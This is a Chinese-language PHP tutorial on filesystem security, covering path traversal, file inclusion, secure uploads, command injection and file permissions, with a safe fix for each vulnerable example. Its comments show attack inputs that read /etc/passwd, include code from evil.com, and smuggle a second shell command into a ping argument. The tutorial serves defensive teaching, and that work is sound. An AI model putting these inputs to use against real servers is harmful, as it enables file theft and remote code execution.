文件系统安全
文件系统是 PHP 应用中常见的安全攻击面。目录遍历、文件包含、文件上传、命令注入等漏洞都可能导致服务器被完全控制。本节讲解 PHP 文件操作中的安全注意事项,包括路径验证、文件权限、安全上传处理和禁止危险函数等。
基础概念
常见文件系统攻击
| 攻击类型 | 攻击方式 | 危害 |
|---|---|---|
| 目录遍历 | 使用 ../ 访问受限目录 | 读取任意文件 |
| 文件包含 | 包含用户指定的文件 | 远程代码执行 |
| 文件上传 | 上传恶意 PHP 文件 | 代码执行 |
| 命令注入 | 在 shell 函数中注入命令 | 服务器控制 |
| 临时文件 | 竞争条件操作临时文件 | 信息泄露/篡改 |
| 日志文件 | 写入敏感信息到日志 | 凭证泄露 |
路径安全
防止目录遍历
php
<?php
declare(strict_types=1);
// === 错误:直接使用用户输入拼接路径 ===
$file = $_GET['file'] ?? 'default.txt';
include('/var/www/pages/' . $file);
// 攻击:?file=../../../../etc/passwd
// === 正确方案一:basename() ===
$file = basename($_GET['file'] ?? 'default.txt');
include('/var/www/pages/' . $file);
// basename 会移除路径中的目录部分
// === 正确方案二:realpath() ===
$path = $_GET['path'] ?? '';
$realPath = realpath('/var/www/data/' . $path);
$expectedDir = '/var/www/data/';
if ($realPath === false || !str_starts_with($realPath, $expectedDir)) {
die('非法路径');
}
echo file_get_contents($realPath);
// === 正确方案三:白名单验证 ===
$allowedFiles = ['about.md', 'contact.md', 'help.md', 'faq.md'];
$requestedFile = $_GET['page'] ?? 'about.md';
if (!in_array($requestedFile, $allowedFiles, true)) {
die('请求的页面不存在');
}
include('/var/www/pages/' . $requestedFile);
// === 正确方案四:正则验证 ===
$filename = $_GET['file'] ?? '';
if (!preg_match('/^[a-zA-Z0-9_\-]+\.(jpg|png|gif|pdf)$/', $filename)) {
die('文件名不合法');
}realpath() 的安全用法
php
<?php
declare(strict_types=1);
/**
* 安全地获取文件绝对路径
*/
function safePath(string $basePath, string $userPath): ?string
{
// 拼接路径前先确保 base 路径规范
$basePath = rtrim(realpath($basePath), DIRECTORY_SEPARATOR);
if ($basePath === false) {
return null;
}
// 构建完整路径
$fullPath = $basePath . DIRECTORY_SEPARATOR . $userPath;
// 解析为真实路径(解析所有 .. 和符号链接)
$resolvedPath = realpath($fullPath);
if ($resolvedPath === false) {
return null;
}
// 确保解析后的路径在 base 目录内
if (!str_starts_with($resolvedPath . DIRECTORY_SEPARATOR, $basePath . DIRECTORY_SEPARATOR)
&& $resolvedPath !== $basePath) {
return null;
}
return $resolvedPath;
}
// 使用
$filePath = safePath('/var/www/uploads', $_GET['file'] ?? '');
if ($filePath === null) {
die('非法文件路径');
}
echo file_get_contents($filePath);文件包含安全
本地文件包含(LFI)
php
<?php
declare(strict_types=1);
// === 危险:动态包含用户输入 ===
$page = $_GET['page'] ?? 'home';
include('/pages/' . $page . '.php');
// 攻击:?page=../../etc/passwd%00
// null 字节注入在 PHP 5.3.4+ 已修复
// === 安全方案 ===
// 1. 白名单映射
$routes = [
'home' => '/pages/home.php',
'about' => '/pages/about.php',
'contact' => '/pages/contact.php',
];
$page = $_GET['page'] ?? 'home';
if (!isset($routes[$page])) {
die('页面不存在');
}
include $routes[$page];
// 2. 使用 match(PHP 8.0+)
$page = $_GET['page'] ?? 'home';
$filePath = match ($page) {
'home' => '/pages/home.php',
'about' => '/pages/about.php',
'contact' => '/pages/contact.php',
default => null,
};
if ($filePath !== null && file_exists($filePath)) {
include $filePath;
} else {
die('页面不存在');
}远程文件包含(RFI)
php
<?php
// === 危险:allow_url_include = On 时 ===
$page = $_GET['page'];
include($page); // 攻击:?page=http://evil.com/malicious.php
// === 防御 ===
// php.ini 中关闭
// allow_url_include = Off(生产环境必须关闭)
// allow_url_fopen = Off(如果不需要远程文件访问)
// 检查配置
if (ini_get('allow_url_include')) {
echo '警告:allow_url_include 已启用!';
}安全文件上传
完整的安全上传处理
php
<?php
declare(strict_types=1);
class SecureFileUploader
{
private readonly string $uploadDir;
private readonly array $allowedMimeTypes;
private readonly array $allowedExtensions;
private readonly int $maxFileSize;
private readonly int $maxFileCount;
public function __construct(
string $uploadDir,
array $allowedMimeTypes = [],
array $allowedExtensions = [],
int $maxFileSize = 5242880, // 5MB
int $maxFileCount = 10,
) {
$this->uploadDir = rtrim($uploadDir, '/\\');
// 默认允许的图片类型
$this->allowedMimeTypes = $allowedMimeTypes ?: [
'image/jpeg',
'image/png',
'image/gif',
'image/webp',
];
// 默认允许的扩展名
$this->allowedExtensions = $allowedExtensions ?: [
'jpg', 'jpeg', 'png', 'gif', 'webp',
];
$this->maxFileSize = $maxFileSize;
$this->maxFileCount = $maxFileCount;
}
/**
* 处理上传
* @return array{success: list, errors: list}
*/
public function upload(array $files): array
{
$result = ['success' => [], 'errors' => []];
// 限制文件数量
if (count($files['name'] ?? []) > $this->maxFileCount) {
$result['errors'][] = "最多上传 {$this->maxFileCount} 个文件";
return $result;
}
// 规范化 $_FILES 数组
$normalized = $this->normalizeFilesArray($files);
foreach ($normalized as $index => $file) {
$error = $this->validateFile($file);
if ($error !== null) {
$result['errors'][] = "文件 {$file['name']}: {$error}";
continue;
}
$savedPath = $this->saveFile($file);
if ($savedPath !== null) {
$result['success'][] = [
'original_name' => $file['name'],
'saved_path' => $savedPath,
'size' => $file['size'],
'mime_type' => $file['detected_type'],
];
} else {
$result['errors'][] = "文件 {$file['name']}: 保存失败";
}
}
return $result;
}
private function validateFile(array $file): ?string
{
// 检查上传错误
if ($file['error'] !== UPLOAD_ERR_OK) {
return $this->getUploadErrorMessage($file['error']);
}
// 检查文件大小
if ($file['size'] > $this->maxFileSize) {
return "文件大小超过限制(最大 " . ($this->maxFileSize / 1024 / 1024) . "MB)";
}
// 检查 MIME 类型(使用 finfo 检测,不信任 $_FILES['type'])
$finfo = new finfo(FILEINFO_MIME_TYPE);
$detectedType = $finfo->file($file['tmp_name']);
$file['detected_type'] = $detectedType;
if (!in_array($detectedType, $this->allowedMimeTypes, true)) {
return "不允许的文件类型({$detectedType})";
}
// 双重检查:扩展名验证
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $this->allowedExtensions, true)) {
return "不允许的文件扩展名(.{$ext})";
}
// 检查是否为有效图片(getImageSize 可以检测伪造的图片)
if (str_starts_with($detectedType, 'image/')) {
$imageInfo = @getimagesize($file['tmp_name']);
if ($imageInfo === false) {
return "不是有效的图片文件";
}
}
return null;
}
private function saveFile(array $file): ?string
{
// 生成安全文件名(不使用原始文件名)
$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
$newName = bin2hex(random_bytes(16)) . '.' . $ext;
$destination = $this->uploadDir . '/' . $newName;
if (move_uploaded_file($file['tmp_name'], $destination)) {
// 设置文件权限
chmod($destination, 0644);
return $destination;
}
return null;
}
private function normalizeFilesArray(array $files): array
{
$normalized = [];
$count = count($files['name']);
for ($i = 0; $i < $count; $i++) {
$normalized[$i] = [
'name' => $files['name'][$i],
'type' => $files['type'][$i],
'tmp_name' => $files['tmp_name'][$i],
'error' => $files['error'][$i],
'size' => $files['size'][$i],
];
}
return $normalized;
}
private function getUploadErrorMessage(int $code): string
{
return match ($code) {
UPLOAD_ERR_INI_SIZE => '文件超过 php.ini 中 upload_max_filesize 的限制',
UPLOAD_ERR_FORM_SIZE => '文件超过 HTML 表单 MAX_FILE_SIZE 的限制',
UPLOAD_ERR_PARTIAL => '文件只有部分被上传',
UPLOAD_ERR_NO_FILE => '没有文件被上传',
UPLOAD_ERR_NO_TMP_DIR => '找不到临时文件夹',
UPLOAD_ERR_CANT_WRITE => '文件写入磁盘失败',
UPLOAD_ERR_EXTENSION => '文件上传被 PHP 扩展阻止',
default => '未知上传错误',
};
}
}
// 使用
$uploader = new SecureFileUploader('/var/www/uploads', maxFileSize: 10 * 1024 * 1024);
$result = $uploader->upload($_FILES['documents']);
foreach ($result['success'] as $file) {
echo "上传成功: {$file['saved_path']}\n";
}
foreach ($result['errors'] as $error) {
echo "错误: {$error}\n";
}命令注入防护
php
<?php
declare(strict_types=1);
// === 绝对避免的函数 ===
// system() - 执行外部程序并显示输出
// exec() - 执行外部程序
// passthru() - 执行外部程序并输出原始结果
// shell_exec()- 通过 shell 环境执行命令
// popen() - 打开进程文件指针
// proc_open() - 执行命令并打开文件指针
// `` (反引号) - 执行 shell 命令
// === 如果必须使用,使用参数化方式 ===
// 危险:直接拼接用户输入
// system("ping " . $_GET['host']);
// 攻击:?host=127.0.0.1; cat /etc/passwd
// 安全方式一:escapeshellarg()
$host = escapeshellarg($_GET['host'] ?? '');
system("ping -c 1 " . $host);
// 安全方式二:escapeshellcmd()
$cmd = escapeshellcmd($_GET['cmd'] ?? '');
// 注意:escapeshellcmd 不如 escapeshellarg 安全
// 安全方式三:使用白名单
$allowedCommands = ['status', 'version', 'health'];
$cmd = $_GET['cmd'] ?? '';
if (!in_array($cmd, $allowedCommands, true)) {
die('无效命令');
}文件权限安全
php
<?php
// === 安全的文件权限设置 ===
// 文件权限:644(rw-r--r--)
// 目录权限:755(rwxr-xr-x)
// 配置文件权限:640(rw-r-----)
// 敏感文件权限:600(rw-------)
// 设置文件权限
chmod('/var/www/config.php', 0640);
chmod('/var/www/uploads', 0755);
// 检查文件权限
$perms = fileperms('/var/www/config.php');
echo decoct($perms); // 100640
// 检查文件是否可写(防止运行时被篡改)
$filename = '/var/www/config.php';
if (is_writable($filename)) {
trigger_error("安全警告: {$filename} 不应该可写", E_USER_WARNING);
}
// 设置不可变(Linux)
// chattr +i /var/www/config.php // 需要超级用户权限Web 服务器配置
禁止上传目录执行 PHP
apache
# Apache 配置
<Directory /var/www/uploads>
php_flag engine off
<FilesMatch "\.php$">
Order allow,deny
Deny from all
</FilesMatch>
</Directory>
# Nginx 配置
location ~* /uploads/.*\.php$ {
deny all;
}
# 更好的方式:只允许特定扩展名
location /uploads/ {
location ~ \.(jpg|jpeg|png|gif|webp|pdf)$ {
# 正常处理
}
location ~ \.php$ {
deny all;
}
}注意事项
1. 上传目录与代码目录分离
php
<?php
// 上传目录应该在文档根目录之外
// 或者配置 Web 服务器禁止在该目录执行 PHP
// 推荐:
// /var/www/html/ -- 文档根目录(代码)
// /var/www/uploads/ -- 上传目录(不在 html 下)
// /var/www/data/ -- 数据目录2. 临时文件安全
php
<?php
// 使用 tmpfile() 创建自动清理的临时文件
$temp = tmpfile();
fwrite($temp, '临时数据');
rewind($temp);
$content = stream_get_contents($temp);
fclose($temp); // 自动删除
// 使用 tempnam() 创建命名临时文件
$tempFile = tempnam(sys_get_temp_dir(), 'php_');
file_put_contents($tempFile, '数据');
// 处理完成后删除
unlink($tempFile);最佳实践
1. 文件操作安全检查清单
php
<?php
// [x] 所有路径使用 realpath() 验证
// [x] 上传文件使用 finfo 检测真实 MIME 类型
// [x] 上传文件重命名为随机文件名
// [x] 上传目录禁止执行 PHP
// [x] 敏感配置文件权限设为 640
// [x] 不使用 system/exec/passthru/shell_exec
// [x] php.ini 中 allow_url_include = Off
// [x] php.ini 中 open_basedir 设置合理下一节
继续学习:Session 安全